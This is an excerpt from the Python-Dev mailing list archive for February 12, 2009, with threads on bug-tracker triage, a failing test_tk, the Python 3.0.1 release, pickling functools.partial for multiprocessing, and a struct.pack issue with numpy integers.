Message-ID: <gn0cbf$vdp$1@ger.gmane.org>

Jim Baker wrote:
> +1 on the cleanup: reading the bug description of 
> http://bugs.python.org/issue1533164, this will also help Jython. Now I 
> know why we see scenarios of package with setup.cfg with optimize=1:
> 
> Indeed, this is a well-known issue. Many packages put an "optimize=1" in
> their setup.cfg in order to solve it.
> 
> Unfortunately that breaks the setup process on Jython, since we don't 
> support -O. And unfortunately it's not as easy to ignore the flag 
> either, this can then break in other ways.
> 
> -  Jim

Add this comment to tracker if you want to be sure anyone reading it 
sees this ;-)


From orsenthil at gmail.com  Thu Feb 12 08:42:17 2009
From: orsenthil at gmail.com (Senthil Kumaran)
Date: Thu, 12 Feb 2009 13:12:17 +0530
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
Message-ID: <7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com>

On Thu, Feb 12, 2009 at 4:11 AM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
>
> Now will I'll start verifying, adding tests, updating or closing as
> needed the recently changed old issues, until I've taken a good look
> at these. Then, if there's still time left before Saturday, I'll focus
> on  verifying/flagging more ancient ones.
>
> during-bug-season-every-day-is-bug-day-ly y'rs,

For urllib,urllib2 and urlparse related, please add me (orsenthil) to
nosy list. I should already there.
I shall test and provide patches.

Thanks,
Senthil

From victor.stinner at haypocalc.com  Thu Feb 12 09:54:53 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Thu, 12 Feb 2009 09:54:53 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
Message-ID: <200902120954.53578.victor.stinner@haypocalc.com>

Hi Daniel,

> Good:
>   Many requested assignments:
>     Thanks everyone that asked for bugs. If anyone else wants more,
> just let me know :)

I like everything related to Unicode and the separation of byte and character 
strings in Python3 :-)

I already have some pending issues..

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From python at rcn.com  Thu Feb 12 09:59:11 2009
From: python at rcn.com (Raymond Hettinger)
Date: Thu, 12 Feb 2009 00:59:11 -0800
Subject: [Python-Dev] test_tk failing
Message-ID: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1>

C:\py27>py27 lib\test\regrtest.py -uall test_tk
test_tk
test test_tk failed -- Traceback (most recent call last):
  File "c:\py27\lib\lib-tk\test\test_tkinter\test_text.py", line 32, in test_search
    self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2')
AssertionError: <textindex object at 0140D708> != '1.2'

1 test failed:
    test_tk
[35724 refs]




C:\py31>py31 lib\test\regrtest.py -uall test_tk
test_tk
test test_tk failed -- Traceback (most recent call last):
  File "c:\py31\lib\tkinter\test\test_tkinter\test_text.py", line 32, in test_search
    self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2')
AssertionError: <textindex object at 0x010A33F0> != '1.2'

1 test failed:
    test_tk
[73837 refs]

From ggpolo at gmail.com  Thu Feb 12 11:37:06 2009
From: ggpolo at gmail.com (Guilherme Polo)
Date: Thu, 12 Feb 2009 08:37:06 -0200
Subject: [Python-Dev] test_tk failing
In-Reply-To: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1>
References: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1>
Message-ID: <ac2200130902120237y2d62b69ewdac31243441b9d73@mail.gmail.com>

On Thu, Feb 12, 2009 at 6:59 AM, Raymond Hettinger <python at rcn.com> wrote:
> C:\py27>py27 lib\test\regrtest.py -uall test_tk
> test_tk
> test test_tk failed -- Traceback (most recent call last):
>  File "c:\py27\lib\lib-tk\test\test_tkinter\test_text.py", line 32, in
> test_search
>   self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2')
> AssertionError: <textindex object at 0140D708> != '1.2'
>
> 1 test failed:
>   test_tk
> [35724 refs]
>
>
>
>
> C:\py31>py31 lib\test\regrtest.py -uall test_tk
> test_tk
> test test_tk failed -- Traceback (most recent call last):
>  File "c:\py31\lib\tkinter\test\test_tkinter\test_text.py", line 32, in
> test_search
>   self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2')
> AssertionError: <textindex object at 0x010A33F0> != '1.2'
>
> 1 test failed:
>   test_tk
> [73837 refs]

http://bugs.python.org/issue5193



-- 
-- Guilherme H. Polo Goncalves

From ajaksu at gmail.com  Thu Feb 12 13:28:43 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 10:28:43 -0200
Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13
In-Reply-To: <FD911D69-377A-4BBE-9D52-A8CAECF970B2@python.org>
References: <FD911D69-377A-4BBE-9D52-A8CAECF970B2@python.org>
Message-ID: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com>

Barry Warsaw wrote:
> A quick reminder that I am planning to release Python 3.0.1 this Friday, February 13.

Cool :)

Should I hold the tracker cleanup until then (the posting part, not
the searching)? I'd hate to bury some important report in a sea of
ancientness.

Daniel

PS: Are you aiming at  23:31:30 UTC ? :)

From benjamin at python.org  Thu Feb 12 13:52:30 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Thu, 12 Feb 2009 06:52:30 -0600
Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13
In-Reply-To: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com>
References: <FD911D69-377A-4BBE-9D52-A8CAECF970B2@python.org>
	<2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com>
Message-ID: <1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com>

On Thu, Feb 12, 2009 at 6:28 AM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> Barry Warsaw wrote:
>> A quick reminder that I am planning to release Python 3.0.1 this Friday, February 13.
>
> Cool :)
>
> Should I hold the tracker cleanup until then (the posting part, not
> the searching)? I'd hate to bury some important report in a sea of
> ancientness.

No, don't worry. We can just search issues by priority.



-- 
Regards,
Benjamin

From barry at python.org  Thu Feb 12 14:01:48 2009
From: barry at python.org (Barry Warsaw)
Date: Thu, 12 Feb 2009 08:01:48 -0500
Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13
In-Reply-To: <1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com>
References: <FD911D69-377A-4BBE-9D52-A8CAECF970B2@python.org>
	<2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com>
	<1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com>
Message-ID: <150C3168-BB4C-45D0-BD70-53F6B9A374F2@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 12, 2009, at 7:52 AM, Benjamin Peterson wrote:

> On Thu, Feb 12, 2009 at 6:28 AM, Daniel (ajax) Diniz  
> <ajaksu at gmail.com> wrote:
>> Barry Warsaw wrote:
>>> A quick reminder that I am planning to release Python 3.0.1 this  
>>> Friday, February 13.
>>
>> Cool :)
>>
>> Should I hold the tracker cleanup until then (the posting part, not
>> the searching)? I'd hate to bury some important report in a sea of
>> ancientness.
>
> No, don't worry. We can just search issues by priority.

That's fine.  All I care about at this point are show stoppers for 3.0.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZQdvHEjvBPtnXfVAQLeTQP/VhiWIv8KIM2nGyEQaO7HylGkblMtcQ1J
fBbhbJ4lwcvstRjrCYsHN8TKWhhUZnxDtXVigV3vvLHRX5SfYj/oV5oL0tWPfw5i
183oXNk2RIMmlP/oMSPK8OVgS01nt7wmj1RdkDBx6hq0r6TnIBV90JjPT45H06rB
wzXsy/Fw/mw=
=oXeZ
-----END PGP SIGNATURE-----

From ajaksu at gmail.com  Thu Feb 12 14:08:07 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 11:08:07 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
Message-ID: <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>

Brett Cannon wrote:
> One thing to keep an eye on for old issues, Daniel, is the Stage
> field. Setting that is nice for Bug Days as people can see what
> issues still need a test written or could use a review, etc.

OK, I'll try to set a useful Stage for bugs I edit. I'll reread your
blog post on stages and study the discussion.

> I have a doc I am writing up at
> http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines
> what the various Stage values should mean. Feedback from you and
> anybody else is welcome, although realize it is rough as I was not
> planning to make this public quite yet.

Looking good, I'll collect doc feedback as I learn Stages better.

Here's some feedback on Stages themselves (still learning, probably misguided).

Many old issues have patches without tests, or have patches and tests
that are outdated. Others have patches (and sometimes tests), but
aren't confirmed as bugs. So the Stage field would be easier to use if
it included: 'not reproduced in current releases', 'reproduced, needs
updating', 'is this really a bug?' (i.e., should I be writing a
test/confirming or discussing the issue?), 'on hold/blocked' (has a
blocking dependency).

I'm not sure those would be useful for new issues, I think handling
the important cases efficiently is more desirable than tuning the
workflow for old issues. It's telling that the Stage that caught my
attention was [triage] :D

Thank you for the support and feedback (and Stages guide!), it helps a lot :)

Daniel

From ajaksu at gmail.com  Thu Feb 12 14:08:30 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 11:08:30 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com>
Message-ID: <2d75d7660902120508x14d8cee0y63d10588853ac565@mail.gmail.com>

Senthil Kumaran wrote:
> For urllib,urllib2 and urlparse related, please add me (orsenthil) to
> nosy list. I should already there.
> I shall test and provide patches.

Great! I always find it harder to test urllib[x] than to fix the bug.
I'm in the process of gluing some tools and scripts together to help
with the search/triage/update process, so I'll add you and Victor a
later today. Might hold until after 3.0.1 (due tomorrow) if having the
tracker less noisy would be better.

In the meantime, other people interested in being added to
urllib,urllib2 and urlparse are eligible for discounted prices :)

Thanks for claiming these!
Daniel

From ajaksu at gmail.com  Thu Feb 12 14:10:32 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 11:10:32 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <200902120954.53578.victor.stinner@haypocalc.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
Message-ID: <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>

Victor Stinner wrote:
> I like everything related to Unicode and the separation of byte and character
> strings in Python3 :-)

That's a big one. But Ezio  Melotti already asked for Unicode, so I
have some 75 issues selected and ready to add you two to, but I'll do
it later today or after 3.0.1 tomorrow. Might find some more until
then :)

Anyone else interested in Unicode? There's locale, gettext, codecs,
the Unicode databases, support for Unicode in tools (network protocols
and/or file formats, mostly: email, base64).

Thanks for stepping up!

Daniel

From victor.stinner at haypocalc.com  Thu Feb 12 14:34:17 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Thu, 12 Feb 2009 14:34:17 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
Message-ID: <200902121434.17723.victor.stinner@haypocalc.com>

Le Thursday 12 February 2009 14:10:32, vous avez ?crit?:
> Victor Stinner wrote:
> > I like everything related to Unicode and the separation of byte and
> > character strings in Python3 :-)
>
> That's a big one. But Ezio  Melotti already asked for Unicode, so I
> have some 75 issues selected and ready to add you two to, but I'll do
> it later today or after 3.0.1 tomorrow. Might find some more until
> then :)

Oh, I realized that there is a component called "Unicode". So it should be 
possible to write a request to list all issues related to unicode.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From ndbecker2 at gmail.com  Thu Feb 12 14:46:36 2009
From: ndbecker2 at gmail.com (Neal Becker)
Date: Thu, 12 Feb 2009 13:46:36 +0000 (UTC)
Subject: [Python-Dev] multiprocessing not compatible with functional.partial
Message-ID: <loom.20090212T134437-573@post.gmane.org>

If the argument to pool.map (f, args)
is
f = functional.partial (my_func, some_keyword_arg=whatever)

I get:

Traceback (most recent call last):
  File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
    self.run()
  File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
    self._target(*self._args, **self._kwargs)
  File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
    task = get()
  File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
    return recv()
TypeError: type 'partial' takes at least one argument


From lists at cheimes.de  Thu Feb 12 15:06:31 2009
From: lists at cheimes.de (Christian Heimes)
Date: Thu, 12 Feb 2009 15:06:31 +0100
Subject: [Python-Dev] multiprocessing not compatible with
	functional.partial
In-Reply-To: <loom.20090212T134437-573@post.gmane.org>
References: <loom.20090212T134437-573@post.gmane.org>
Message-ID: <gn1ad7$p70$1@ger.gmane.org>

Neal Becker schrieb:
> If the argument to pool.map (f, args)
> is
> f = functional.partial (my_func, some_keyword_arg=whatever)
> 
> I get:
> 
> Traceback (most recent call last):
>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>     self.run()
>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>     self._target(*self._args, **self._kwargs)
>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>     task = get()
>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>     return recv()
> TypeError: type 'partial' takes at least one argument

functool.partial instances are not picklable. You have to teach
multiprocessing how to serialize a functool.partial instance.

Christian


From ironfroggy at gmail.com  Thu Feb 12 15:22:41 2009
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Thu, 12 Feb 2009 09:22:41 -0500
Subject: [Python-Dev] multiprocessing not compatible with
	functional.partial
In-Reply-To: <gn1ad7$p70$1@ger.gmane.org>
References: <loom.20090212T134437-573@post.gmane.org>
	<gn1ad7$p70$1@ger.gmane.org>
Message-ID: <76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com>

On Thu, Feb 12, 2009 at 9:06 AM, Christian Heimes <lists at cheimes.de> wrote:
> Neal Becker schrieb:
>> If the argument to pool.map (f, args)
>> is
>> f = functional.partial (my_func, some_keyword_arg=whatever)
>>
>> I get:
>>
>> Traceback (most recent call last):
>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>     self.run()
>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>     self._target(*self._args, **self._kwargs)
>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>     task = get()
>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>     return recv()
>> TypeError: type 'partial' takes at least one argument
>
> functool.partial instances are not picklable. You have to teach
> multiprocessing how to serialize a functool.partial instance.

I don't think it would be unreasonable to consider either 1) making
functools.partial picklable (I don't know how feasible this is) or 2)
having multiprocessing, specifically, handle more stdlib types that
are likely to be used here.

Of course, if we get into "this is an extended set of types safe for
multiprocessing", we are likely to see more problems between versions
as a more difficult backwards compat target. So, maybe both are more
harm than good?

-- 
Read my blog! I depend on your acceptance of my opinion! I am interesting!
http://techblog.ironfroggy.com/
Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy

From jnoller at gmail.com  Thu Feb 12 15:27:08 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 09:27:08 -0500
Subject: [Python-Dev] multiprocessing not compatible with
	functional.partial
In-Reply-To: <76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com>
References: <loom.20090212T134437-573@post.gmane.org>
	<gn1ad7$p70$1@ger.gmane.org>
	<76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com>
Message-ID: <4222a8490902120627l6f37b6acy35b617aa7a347f91@mail.gmail.com>

On Thu, Feb 12, 2009 at 9:22 AM, Calvin Spealman <ironfroggy at gmail.com> wrote:
> On Thu, Feb 12, 2009 at 9:06 AM, Christian Heimes <lists at cheimes.de> wrote:
>> Neal Becker schrieb:
>>> If the argument to pool.map (f, args)
>>> is
>>> f = functional.partial (my_func, some_keyword_arg=whatever)
>>>
>>> I get:
>>>
>>> Traceback (most recent call last):
>>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>>     self.run()
>>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>>     self._target(*self._args, **self._kwargs)
>>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>>     task = get()
>>>   File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux-
>>>     return recv()
>>> TypeError: type 'partial' takes at least one argument
>>
>> functool.partial instances are not picklable. You have to teach
>> multiprocessing how to serialize a functool.partial instance.
>
> I don't think it would be unreasonable to consider either 1) making
> functools.partial picklable (I don't know how feasible this is) or 2)
> having multiprocessing, specifically, handle more stdlib types that
> are likely to be used here.
>
> Of course, if we get into "this is an extended set of types safe for
> multiprocessing", we are likely to see more problems between versions
> as a more difficult backwards compat target. So, maybe both are more
> harm than good?

While maintaining a back port which contains all of the current and
future functionality is an admirable goal, the fact is is that over
time, there will simply be features added which will only work on
current+future, and not be able to be back ported.

Case in point, I want to look into adding a lot more contextmanager
support into the module - this can work back to 2.5, but not further
than that.

.02 cents.

-jesse

From hrvoje.niksic at avl.com  Thu Feb 12 16:10:07 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Thu, 12 Feb 2009 16:10:07 +0100
Subject: [Python-Dev] multiprocessing not compatible
	with	functional.partial
In-Reply-To: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001>
References: <loom.20090212T134437-573@post.gmane.org>	<gn1ad7$p70$1@ger.gmane.org>
	<9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001>
Message-ID: <49943BCF.4080709@avl.com>

Calvin Spealman wrote:
> I don't think it would be unreasonable to consider either 1) making
> functools.partial picklable (I don't know how feasible this is)

It's not only feasible, but quite easy and, I think, useful.  A 
"partial" instance is a simple triplet of (function, args, kwds), and it 
can be pickled as such.  For example:

 >>> import copy_reg, functools
 >>> def _reconstruct_partial(f, args, kwds):
...     return functools.partial(f, *args, **(kwds or {}))
...
 >>> def _reduce_partial(p):
...     return _reconstruct_partial, (p.func, p.args, p.keywords)
...
 >>> copy_reg.pickle(functools.partial, _reduce_partial)

Test:

 >>> import operator, cPickle as cp
 >>> p = functools.partial(operator.add, 3)
 >>> p(10)
13
 >>> cp.dumps(p)
'c__main__\n_reconstruct_partial\np1\n(coperator\nadd\np2\n(I3\ntp3\nNtRp4\n.'
 >>> p2 = cp.loads(_)
 >>> p2(10)
13

Iedally this should be implemented in the functools.partial object itself.

From ndbecker2 at gmail.com  Thu Feb 12 16:53:56 2009
From: ndbecker2 at gmail.com (Neal Becker)
Date: Thu, 12 Feb 2009 10:53:56 -0500
Subject: [Python-Dev] multiprocessing not compatible
	with	functional.partial
References: <loom.20090212T134437-573@post.gmane.org>
	<gn1ad7$p70$1@ger.gmane.org>
	<9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001>
	<49943BCF.4080709@avl.com>
Message-ID: <gn1gml$h9e$1@ger.gmane.org>

Hrvoje Niksic wrote:

> Calvin Spealman wrote:
>> I don't think it would be unreasonable to consider either 1) making
>> functools.partial picklable (I don't know how feasible this is)
> 
> It's not only feasible, but quite easy and, I think, useful.  A
> "partial" instance is a simple triplet of (function, args, kwds), and it
> can be pickled as such.  For example:
> 
>  >>> import copy_reg, functools
>  >>> def _reconstruct_partial(f, args, kwds):
> ...     return functools.partial(f, *args, **(kwds or {}))
> ...
>  >>> def _reduce_partial(p):
> ...     return _reconstruct_partial, (p.func, p.args, p.keywords)
> ...
>  >>> copy_reg.pickle(functools.partial, _reduce_partial)
> 
> Test:
> 
>  >>> import operator, cPickle as cp
>  >>> p = functools.partial(operator.add, 3)
>  >>> p(10)
> 13
>  >>> cp.dumps(p)
> 
'c__main__\n_reconstruct_partial\np1\n(coperator\nadd\np2\n(I3\ntp3\nNtRp4\n.'
>  >>> p2 = cp.loads(_)
>  >>> p2(10)
> 13
> 
> Iedally this should be implemented in the functools.partial object itself.
Confirmed:

from multiprocessing import Pool

def power (x, pwr=2):
    return x**pwr

import functools
run_test = functools.partial (power, pwr=3)

import copy_reg, functools
def _reconstruct_partial(f, args, kwds):
    return functools.partial(f, *args, **(kwds or {}))

def _reduce_partial(p):
    return _reconstruct_partial, (p.func, p.args, p.keywords)

copy_reg.pickle(functools.partial, _reduce_partial)

if __name__ == "__main__":

    pool = Pool()
    cases = [3,4,5]
    results = pool.map (run_test, cases)
    print results

$python test_multi.py
[27, 64, 125]



From ndbecker2 at gmail.com  Thu Feb 12 16:58:09 2009
From: ndbecker2 at gmail.com (Neal Becker)
Date: Thu, 12 Feb 2009 15:58:09 +0000 (UTC)
Subject: [Python-Dev]
	=?utf-8?q?multiprocessing_not_compatible=09with=09fu?=
	=?utf-8?q?nctional=2Epartial?=
References: <loom.20090212T134437-573@post.gmane.org>	<gn1ad7$p70$1@ger.gmane.org>
	<9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001>
	<49943BCF.4080709@avl.com>
Message-ID: <loom.20090212T155722-778@post.gmane.org>

Is it possible to get a better error message (regarding the pickle-ability)?



From jnoller at gmail.com  Thu Feb 12 17:03:46 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 11:03:46 -0500
Subject: [Python-Dev] multiprocessing not
	compatible	with	functional.partial
In-Reply-To: <loom.20090212T155722-778@post.gmane.org>
References: <loom.20090212T134437-573@post.gmane.org>
	<gn1ad7$p70$1@ger.gmane.org>
	<9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001>
	<49943BCF.4080709@avl.com>
	<loom.20090212T155722-778@post.gmane.org>
Message-ID: <3CD0477B-2E25-4098-8C16-6DA1B3C3A895@gmail.com>



On Feb 12, 2009, at 10:58 AM, Neal Becker <ndbecker2 at gmail.com> wrote:

> Is it possible to get a better error message (regarding the pickle- 
> ability)?
>
>

Sure, most of the time it does have a better error msg.

From ajaksu at gmail.com  Thu Feb 12 17:05:23 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 14:05:23 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <200902121434.17723.victor.stinner@haypocalc.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
Message-ID: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>

Victor Stinner wrote:
> Oh, I realized that there is a component called "Unicode". So it should be
> possible to write a request to list all issues related to unicode.

Nice, I'll add set this component for issues that don't have it. I can
still add people to these issues, if they want.

Daniel

From grubert at users.sourceforge.net  Thu Feb 12 18:32:11 2009
From: grubert at users.sourceforge.net (grubert at users.sourceforge.net)
Date: Thu, 12 Feb 2009 18:32:11 +0100 (CET)
Subject: [Python-Dev] [issue2263] struct.pack() + numpy int raises
	SystemError
Message-ID: <alpine.DEB.1.00.0902121815440.20626@lx5.local>

hello,

i took a look at unassigned open issue with the oldest activity
this happened to be issue2263

Original bug report:

   struct.pack() raises SystemError when fed a numpy integer in some cases.
   The following was run on MacOSX 10.4, little endian (I can only
   reproduce the error if I specify big endian for the struct format). Not
   sure if this could be a numpy bug.

i checked on ubuntu 8.04, Python 2.7a0 (trunk:69044) and numpy 1.2.1
and found

* signed always works, longlong also.
* unsigned native works half of the time
* unsigned little/big endian never works

digging into the source, for pack "B", ">B" and "<B", in _struct.c

* native packaging calls np_ubyte which calls get_long
* bigendian calls bp_uint which calls get_wrapped_ulong

   get_wrapped_ulong checks the operand type by
   PyInt_Check and numpy.int16, tp_flags does not contain
   Py_TPFLAGS_INT_SUBCLASS

Including Py_TPFLAGS_INT_SUBCLASS in numpy's BASEFLAGS cures this.
(for positive values, packing negative numpy scalars needs a closer
  look)

This seams to be an external problem then.

But I could not find any reference to Py_TPFLAGS_*_SUBCLASS in the
documentation, that is a python problem.

hope this is of any use.

cheers
  engelbert

From jnoller at gmail.com  Thu Feb 12 19:13:06 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 13:13:06 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
Message-ID: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>

I'm afraid I've gone branch-stupid. I have a a few changes that should
be on the boat for the next release, but I can't for the life of me
remember which branch to push to - right now the changes are on trunk
and py3k.

-jesse

From solipsis at pitrou.net  Thu Feb 12 19:20:38 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 12 Feb 2009 18:20:38 +0000 (UTC)
Subject: [Python-Dev] 3.0.1 and 2.6.2
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
Message-ID: <loom.20090212T181835-211@post.gmane.org>

Jesse Noller <jnoller <at> gmail.com> writes:
> 
> I'm afraid I've gone branch-stupid. I have a a few changes that should
> be on the boat for the next release, but I can't for the life of me
> remember which branch to push to - right now the changes are on trunk
> and py3k.

The next release (3.0.1) is tomorrow. Unless those changes are really important,
I humbly advocate deferring them to after tomorrow, for fear that they introduce
last-minute breakage.

(the branch names are release26-maint and release30-maint, if that's what you're
asking :-))

Regards

Antoine.



From jnoller at gmail.com  Thu Feb 12 19:29:16 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 13:29:16 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <loom.20090212T181835-211@post.gmane.org>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
Message-ID: <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>

On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Jesse Noller <jnoller <at> gmail.com> writes:
>>
>> I'm afraid I've gone branch-stupid. I have a a few changes that should
>> be on the boat for the next release, but I can't for the life of me
>> remember which branch to push to - right now the changes are on trunk
>> and py3k.
>
> The next release (3.0.1) is tomorrow. Unless those changes are really important,
> I humbly advocate deferring them to after tomorrow, for fear that they introduce
> last-minute breakage.
>
> (the branch names are release26-maint and release30-maint, if that's what you're
> asking :-))
>

The changes have been stable since checked in, I have no problems
holding off, but they're also not big. Doc changes, fixes to the
logger and a segfault fix mainly. I have no problem holding off.

r68862 | jesse.noller | 2009-01-22 16:53:22 -0500 (Thu, 22 Jan 2009) | 1 line

Issue 4593: apply() documentation is unclear
------------------------------------------------------------------------
r68839 | jesse.noller | 2009-01-20 21:08:17 -0500 (Tue, 20 Jan 2009) | 1 line

Issue 5009: multiprocessing: failure in manager._debug_info()
------------------------------------------------------------------------
r68787 | jesse.noller | 2009-01-19 19:16:38 -0500 (Mon, 19 Jan 2009) | 1 line

issue 5002: fix windows warning that I intro'ed with r68768
------------------------------------------------------------------------
r68768 | jesse.noller | 2009-01-19 10:12:22 -0500 (Mon, 19 Jan 2009) | 1 line

Resolve issue 3321: (segfault) _multiprocessing.Connection() doesn't
check handle
------------------------------------------------------------------------
r68737 | jesse.noller | 2009-01-18 16:04:36 -0500 (Sun, 18 Jan 2009) | 1 line

issue 4301: patch logging to add processName, remove the old
_check_logger_class code
------------------------------------------------------------------------
r68708 | jesse.noller | 2009-01-17 21:45:38 -0500 (Sat, 17 Jan 2009) | 1 line

Resolve issue 4449: AssertionError in mp_benchmarks.py
------------------------------------------------------------------------

From brett at python.org  Thu Feb 12 19:31:04 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 12 Feb 2009 10:31:04 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
